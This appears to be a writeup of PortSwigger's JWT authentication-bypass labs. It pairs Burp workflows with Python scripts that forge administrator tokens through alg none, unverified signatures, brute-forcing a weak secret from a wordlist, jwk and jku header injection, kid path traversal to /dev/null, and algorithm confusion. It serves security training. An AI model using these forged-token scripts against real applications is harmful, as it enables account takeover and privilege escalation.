JWT setup in Burp and Python
Before touching the labs, install the JWT Editor extension from the Burp BApp Store. That gives you the fast path for decoding tokens, editing claims, generating RSA keys, embedding JWK values, and re-signing tokens without leaving Repeater.
The reusable workflow for almost every JWT lab is the same: capture a request that carries the token, send it to Repeater, inspect the cookie or Authorization header, change the claims, then decide whether the exploit needs none, a forged HMAC signature, or a completely attacker-supplied key. The Python route follows the same logic, just with the token manipulation done in code instead of in JWT Editor.
Declares metadata like alg, kid, jwk, or jku. The dangerous pattern is letting the client choose how verification works.
Contains identity and authorization claims such as sub, username, and role. Most labs are won by making the server trust a modified payload.
Should prove that the token came from the server. The entire JWT track is really about all the different ways that guarantee gets broken.
My default stack for these labs is Burp Repeater, JWT Editor, Decoder, and the Exploit Server where needed. For the last algorithm confusion lab, I keep PortSwigger's sig2n helper nearby to derive candidate RSA public keys before finishing the attack back in Burp.
For the scripts in this post, the core dependencies are pyjwt and, for the RSA-based labs, cryptography. The weak-signing-key script also assumes you have a usable wordlist, while the JWK and JKU scripts assume you already have a local RSA key pair saved as private_key.pem and public_key.pem.
pip install pyjwt cryptography
Think of the Python path as an alternative once you already understand the lab manually. Burp is usually better for discovery and debugging, while Python is good when you want a repeatable way to decode, modify, and regenerate tokens outside the UI.
JWT authentication bypass via unverified signature
What's happening
The application reads the payload claims but never validates the signature. That means you can change the identity claim from your own user to administrator, keep the now-invalid signature in place, and the backend still accepts the token as authoritative.
Burp workflow
- Log in as a normal user and capture a request that carries the JWT.
- Send the request to Repeater and open the token in JWT Editor.
- Change the identity claim that the app actually trusts, usually
suborusername, toadministrator. - Leave the signature as-is, or let it become stale naturally after the payload change. This lab does not care.
- Replay the request, then browse to the admin endpoint and complete the admin action.
Python alternative
If you want to show the same flaw without Burp, this script takes the token, decodes the payload without verification, changes the payload by raw byte replacement, and rebuilds the token with the original signature still attached. That mirrors the exact weakness in this lab: the backend never checks whether the signature still matches the modified payload.
# Demo script for 'JWT Authentication Bypass via Unverified Signature' video: https://youtu.be/-JAf08oGrcc
import jwt
import base64
# Paste JWT token here
token = 'INSERT_TOKEN_HERE'
# Decode the token (without verifying)
payload = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token: {payload}\n")
# Modify the token (JWT manipulation)
header, payload, signature = token.split('.')
decoded_payload = base64.urlsafe_b64decode(payload + '=' * (-len(payload) % 4))
modified_payload = decoded_payload.replace(b'wiener', b'carlos')
print(f"Modified payload: {modified_payload.decode()}\n")
# Generate a new token with the modified payload (re-encode)
modified_payload_b64 = base64.urlsafe_b64encode(modified_payload).rstrip(b'=').decode()
modified_token = f"{header}.{modified_payload_b64}.{signature}"
print(f"Modified token: {modified_token}\n")
jwt.decode(..., verify_signature=False)is only there to show you what the original claims look like. The exploit does not require a valid signature.- The script then splits the token manually into header, payload, and signature segments so it can edit the base64url payload directly.
- The line
decoded_payload.replace(b'wiener', b'carlos')is demo-specific. In your own lab run, change those byte strings to match the user or claim value you want to swap. - Finally, it rebuilds the token with the original signature still attached. Because the server does not verify it, the stale signature becomes irrelevant.
This script works best when the claim value you want to replace already appears plainly in the JSON payload. If the token uses a different claim name or value format, edit the decoded JSON structurally instead of relying on a raw byte swap.
If a tampered token still loads a higher-privilege page even though you never re-signed it, the server is parsing claims without authenticating them first.
JWT authentication bypass via flawed signature verification
alg: none handling to promote your token to administrator.What's happening
This time the backend does look at signature metadata, but it incorrectly honors the attacker-controlled alg header. By switching the token to none, you tell the server there is no signature to verify at all.
Burp workflow
- Capture the session token in Repeater and change the payload claim to
administrator. - Use JWT Editor to change the header from its original algorithm to
none. - Remove the signature content so the third segment is empty.
- Replay the request with the modified token and verify that the application accepts the unsigned admin session.
Python alternative
The Python route for this lab is more direct: decode the token without verification, change the identity claim, and re-encode it with algorithm=None. The point is to generate a token whose header advertises alg: none so the backend skips signature verification entirely.
# Demo script for 'JWT Authentication Bypass via Flawed Signature Verification' video: https://youtu.be/rEUoU6OYH_g
import jwt
# Paste JWT token here
token = 'INSERT_TOKEN_HERE'
# Decode the token (without verifying)
decoded_token = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token: {decoded_token}\n")
# Modify the token (JWT manipulation)
decoded_token['sub'] = 'administrator'
print(f"Modified payload: {decoded_token}\n")
# Generate a new token with the modified payload (re-encode)
# Re-encode the JWT with None algorithm
modified_token = jwt.encode(decoded_token, None, algorithm=None)
print(f"Modified token: {modified_token}\n")
- It decodes the payload without checking the original signature, which is fine because this lab is about generating a brand-new unsigned token.
- It changes the
subclaim toadministrator, matching the trust target in the lab. jwt.encode(decoded_token, None, algorithm=None)tells PyJWT to emit a token using thenonealgorithm rather than a signed algorithm likeHS256orRS256.- The final output token is the Python equivalent of what you would build manually in Burp by setting
algtononeand clearing the signature segment.
Different PyJWT versions can format none tokens slightly differently, so always inspect the final output and make sure it matches the shape the lab accepts: a header, a payload, and an empty signature segment.
The algorithm must be fixed server-side. If the backend trusts the token to describe how it should be verified, the attacker gets to choose the weakest possible path.
JWT authentication bypass via weak signing key
What's happening
The token is signed with an HMAC algorithm such as HS256, but the secret is weak enough to guess from a common list. Once you know that secret, the rest of the lab becomes easy: edit the claims and re-sign the JWT legitimately.
Forged: administrator claims + same recovered secret
Burp workflow
- Confirm the JWT uses an HMAC algorithm such as
HS256. - Recover the weak secret using your preferred weak-secret workflow, then move back into JWT Editor for the rest.
- Edit the payload so the trusted identity claim becomes
administrator. - Re-sign the token with the recovered secret and replay the request in Repeater.
- Use the valid forged admin token to access the privileged function.
Python alternative
This script automates the secret-recovery phase by reading the JWT header, identifying the HMAC algorithm in use, and testing candidate secrets from a wordlist until one validates the token. That makes it a good alternative to manual guessing, especially when you want to demonstrate why weak shared secrets break the entire trust model.
# Demo script for 'JWT Authentication Bypass via Weak Signing Key' video: https://youtu.be/ov9yT4WAuzI
import jwt
# Paste JWT token here
jwt_token = 'INSERT_TOKEN_HERE'
wordlist_file = '/usr/share/wordlists/rockyou.txt'
def attempt_fuzzing(secret_key, algorithm):
try:
decoded = jwt.decode(jwt_token, secret_key, algorithms=[algorithm])
print(f"Valid key found: {secret_key}")
print(f"Decoded payload: {decoded}")
return True
except jwt.InvalidSignatureError:
return False
def fuzz_secret_key(wordlist):
header = jwt.get_unverified_header(jwt_token)
algorithm = header.get("alg")
if not algorithm:
print("Algorithm not found in JWT header.")
return None
else:
print(f"Algorithm: {algorithm}")
with open(wordlist, "r") as file:
for line in file:
secret_key = line.strip()
if attempt_fuzzing(secret_key, algorithm):
return secret_key
return None
# Start fuzzing
found_key = fuzz_secret_key(wordlist_file)
if found_key:
print(f"\nSecret key found: {found_key}")
else:
print("No valid secret key found.")
- It pulls the
algvalue from the unverified header so it knows which HMAC algorithm to test against. - It loops through a wordlist and attempts to verify the token with each candidate secret.
- The first candidate that successfully validates the JWT is printed as the recovered signing key.
- At that point, you have effectively become the signing authority for the application and can mint a forged admin token using the recovered secret.
As written, this script stops once it finds the secret key. That is enough to prove the weakness, but to complete the full exploit you still need to re-sign a modified administrator token afterward, either in Burp or in a second PyJWT step.
The bundled wordlist path points to a common Kali/Linux location. On Windows or a custom environment, update wordlist_file to wherever your local wordlist actually lives.
The important part of this lab is the signed replay, not the cracking tool itself. Once the secret is known, Burp handles the entire forgery and validation loop cleanly.
JWT authentication bypass via JWK header injection
What's happening
The server accepts a jwk header supplied by the client and uses that embedded key to verify the signature. That turns verification into self-approval: you generate the key pair, provide the public key, and sign the token with the matching private key.
Burp workflow
- Generate a fresh RSA key pair in JWT Editor.
- Modify the JWT payload so the identity claim becomes
administrator. - Use the extension's embedded JWK attack flow to inject your public key into the header.
- Sign the token with the private key you just generated.
- Replay the forged token in Repeater and confirm the backend accepts the attacker-supplied key material.
Python alternative
The Python version of this attack does the same thing Burp does behind the scenes: it loads your RSA key pair, edits the payload, converts the public key into JWK form, then signs the forged token while embedding the attacker-controlled public key in the header.
# Demo script for 'JWT Authentication Bypass via jwk Header Injection' video: https://youtu.be/t-RfzyW0iqA
import jwt
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# Step 1: Take a JWT and decode it
token = 'INSERT_TOKEN_HERE'
# Step 2: Verify the JWT signature
with open('public_key.pem', 'rb') as f:
public_key = serialization.load_pem_public_key(
f.read(),
backend=default_backend()
)
# Step 3: Decode the JWT
decoded_token = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token: {decoded_token}")
decoded_header = jwt.get_unverified_header(token)
print(f"Decoded header: {decoded_header}\n")
# Step 4: Modify the token (JWT manipulation)
decoded_token['sub'] = 'administrator'
print(f"Modified token: {decoded_token}\n")
# Step 5: Sign the modified JWT using your RSA private key and embed the public key in the JWK header
with open('private_key.pem', 'rb') as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=None,
backend=default_backend()
)
# Extract the necessary information from the private key
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
# Build the JWK header
jwk = {
"kty": "RSA",
"e": base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8'),
"kid": decoded_header['kid'],
"n": base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8')
}
# Step 6: Generate the modified token
modified_token = jwt.encode(decoded_token, private_key, algorithm='RS256', headers={'jwk': jwk, 'kid': decoded_header['kid']})
# Print the modified token header
print(f"Modified header: {jwt.get_unverified_header(modified_token)}\n")
# Print the final token
print("Final Token: " + modified_token)
- It reads the original token and extracts both the payload and the existing header values, especially
kid. - It loads your own private key, derives the corresponding public key, and converts the public modulus and exponent into JWK form.
- It updates the payload so the trusted subject becomes
administrator. - It signs the forged token with your private key while embedding the matching public key into the
jwkheader.
The script loads public_key.pem up front, but the real attack only depends on the key pair you control. The critical part is that the token ends up carrying your public key in the header and your private key is used to generate the matching signature.
Verification keys must come from trusted server configuration, not from the JWT itself. A self-declared verification key is not verification at all.
JWT authentication bypass via JKU header injection
What's happening
Instead of trusting an inline jwk, the application trusts a remote key URL from the jku header. If the server fetches that URL without a strong allowlist, you can serve a malicious JWKS document from your own infrastructure and make the backend validate against your key.
{
"keys": [
{
"kty": "RSA",
"kid": "attacker-key",
"e": "AQAB",
"n": "..."
}
]
}
Burp workflow
- Generate an RSA key pair in JWT Editor and export the public JWK.
- Host a JWKS document on the exploit server that contains your public key.
- Change the token payload to
administrator. - Set the header
jkuto your exploit server URL and make sure thekidmatches the key in the JWKS file. - Sign the token with your private key and replay it in Repeater.
Python alternative
This version moves the same process into code: decode the token, change the subject, build a JWKS document from your RSA key pair, and emit a forged JWT whose jku header points to attacker-controlled infrastructure.
# Demo script for 'JWT Authentication Bypass via jku Header Injection' video: https://youtu.be/hMRdMmll8Bk
import jwt
import base64
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
# Take a JWT and JKU URL as input
token = 'INSERT_TOKEN_HERE'
jku_url = 'INSERT_URL_HERE'
# Load and serialize the public key
with open('public_key.pem', 'rb') as f:
public_key = serialization.load_pem_public_key(
f.read(),
backend=default_backend()
)
# Decode the JWT
decoded_token = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token:\n{json.dumps(decoded_token, indent=4)}\n")
decoded_header = jwt.get_unverified_header(token)
print(f"Decoded header:\n{json.dumps(decoded_header, indent=4)}\n")
# Modify the token (JWT manipulation)
decoded_token['sub'] = 'administrator'
print(f"Modified token:\n{json.dumps(decoded_token, indent=4)}\n")
# Sign the modified JWT using your RSA private key
with open('private_key.pem', 'rb') as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=None,
backend=default_backend()
)
# Extract the necessary information from the keys
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
# Build the JWKs
jwk = {
"kty": "RSA",
"e": base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8'),
"kid": decoded_header['kid'],
"n": base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8')
}
keys = {"keys": [jwk]}
print(f"JWK:\n{json.dumps(keys, indent=4)}\n")
# Generate the modified token
modified_token = jwt.encode(decoded_token, private_key, algorithm='RS256', headers={'jku': jku_url, 'kid': jwk['kid']})
# Print the modified token header
print(f"Modified header:\n{json.dumps(jwt.get_unverified_header(modified_token), indent=4)}\n")
# Print the final token
print("Final Token: " + modified_token)
- It decodes the original token and updates the trusted identity claim to
administrator. - It derives a JWK from your RSA public key and wraps it inside a JWKS structure.
- It prints that JWKS output so you can host it on the exploit server or any reachable endpoint you control.
- It signs the modified token with your private key and sets
jkuso the server fetches your hosted key set during verification.
The script prints the JWKS JSON, but you still need to publish that JSON somewhere the target server can reach. In the PortSwigger lab, that usually means pasting it into the exploit server response body and using that URL as jku_url.
If the JWKS document is malformed or the kid value does not line up exactly, the request usually fails fast. This lab is as much about clean key hosting as it is about header abuse.
JWT authentication bypass via KID header path traversal
What's happening
Some applications use the kid header as a filename or database lookup key. In this lab, that lookup is vulnerable to path traversal, so you can point the backend at /dev/null and make it use an empty secret for HMAC verification.
Burp workflow
- Open the JWT in JWT Editor and change the payload claim to
administrator. - Modify the
kidheader so it traverses to/dev/null. - Sign the token as
HS256with a blank secret. - Replay the request and confirm the server now validates against the empty file target instead of the intended key store.
Python alternative
This script turns the same idea into a small PyJWT payload generator: decode the token without verification, change the identity claim, then re-sign it under HS256 with an empty secret while sending a traversal string in the kid header.
# Demo script for 'JWT Authentication Bypass via kid Header Path Traversal' video: https://youtu.be/78FIFrOi4Os
import jwt
# Paste JWT token here
token = 'INSERT_TOKEN_HERE'
# Decode the token (without verifying)
decoded_token = jwt.decode(token, options={"verify_signature": False})
print(f"Decoded token: {decoded_token}\n")
# Modify the token (JWT manipulation)
decoded_token['sub'] = 'administrator'
print(f"Modified payload: {decoded_token}\n")
# Generate a new token with the modified payload and added header parameter (re-encode)
modified_token = jwt.encode(decoded_token, '', algorithm='HS256', headers={"kid": "../../../dev/null"})
print(f"Modified token: {modified_token}\n")
- It decodes the token without validating the original signature, because the goal is to create a brand-new forged token.
- It changes the payload so the trusted subject becomes
administrator. - It re-encodes the JWT with an empty HMAC secret and a traversal payload in the
kidheader. - If the server uses
kidas a file path and resolves it unsafely, verification ends up reading from/dev/null, which behaves like an empty secret.
The hard-coded traversal target in the script is Unix-style because that is what the PortSwigger lab uses. In a real assessment, the path depth and target file depend entirely on the backend filesystem and how the application resolves kid values.
This is still path traversal, just hiding inside JWT plumbing. Anytime header values become filesystem paths, the attack surface expands immediately.
JWT authentication bypass via algorithm confusion
What's happening
The application expects asymmetric signatures, but the backend verification routine accepts whatever algorithm the token requests. If you flip the header to HS256 and use the server's RSA public key bytes as the HMAC secret, the generic verifier can be tricked into blessing your forged token.
Burp workflow
- Obtain the server's RSA public key from the lab material, a JWKS endpoint, or another exposed source.
- Change the token payload to carry administrator-level claims.
- Use JWT Editor's HMAC key confusion flow to switch the token to
HS256. - Sign the forged token with the server's public key bytes as the HMAC secret.
- Replay the request and verify that the generic verifier accepts the token under the wrong algorithm family.
I did not get a companion Python script for this lab in the set you sent over, so I am keeping this section Burp-led instead of inventing a separate script path that you did not actually use.
RSA public keys are safe to share only when the server treats them strictly as public verification material. The moment the code path lets them act like HMAC secrets, sharing them becomes enough to forge tokens.
JWT authentication bypass via algorithm confusion with no exposed key
What's happening
The backend still suffers from algorithm confusion, but this time it does not hand you the RSA public key directly. The trick is to collect multiple valid RS256 tokens, derive candidate public keys using PortSwigger's sig2n helper, then return to Burp and test each candidate as the HMAC secret.
Stage 2: sign an
HS256 admin token in Burp with each candidate until one lands
Burp workflow
- Capture at least two valid RSA-signed JWTs from the application.
- Feed those tokens into
sig2nto generate candidate public keys and matching forged-token material. - Back in Burp, edit the payload to
administratorand flip the header toHS256. - Try the candidate public keys as HMAC secrets until the server accepts one of the forged tokens.
- Use the working token to reach the admin function and finish the lab.
This is also still a Burp-first section because no standalone Python script was included for it. The helper here is sig2n for key derivation, then the actual replay and validation loop stays easier to reason about in Repeater.
Even when the public key is not visibly exposed, broken algorithm handling can still collapse once enough signed material leaks through the application. Hiding the key is not the same thing as removing the confusion flaw.
What the JWT track really teaches
Taken together, these labs form a clean progression. The early labs show what happens when the server skips signature checks entirely. The middle labs show the danger of trusting attacker-controlled key metadata. The last two labs show why algorithm selection must be pinned rigidly server-side. In this version of the writeup, the Python alternatives cover labs 1 through 6 because those are the scripts I actually had on hand, while labs 7 and 8 stay centered on the Burp workflow.
Signature handling failures. Ignore the signature, accept none, or use a weak HMAC secret, and the attacker can simply mint an admin identity.
Header injection failures. jwk, jku, and kid become attacker-controlled input to the key-selection process.
Algorithm confusion failures. Mixing asymmetric verification with symmetric signing logic turns public information into signing material.
Capture, decode, tamper, re-sign, replay. The lab changes, but the manual workflow stays consistent enough that Burp becomes the natural home for the whole JWT track.
If you keep moving through the Academy after JWTs, the same mindset transfers well into OAuth, access-control flaws, and API authorization issues: map the trust boundary first, then ask what the client is still allowed to influence.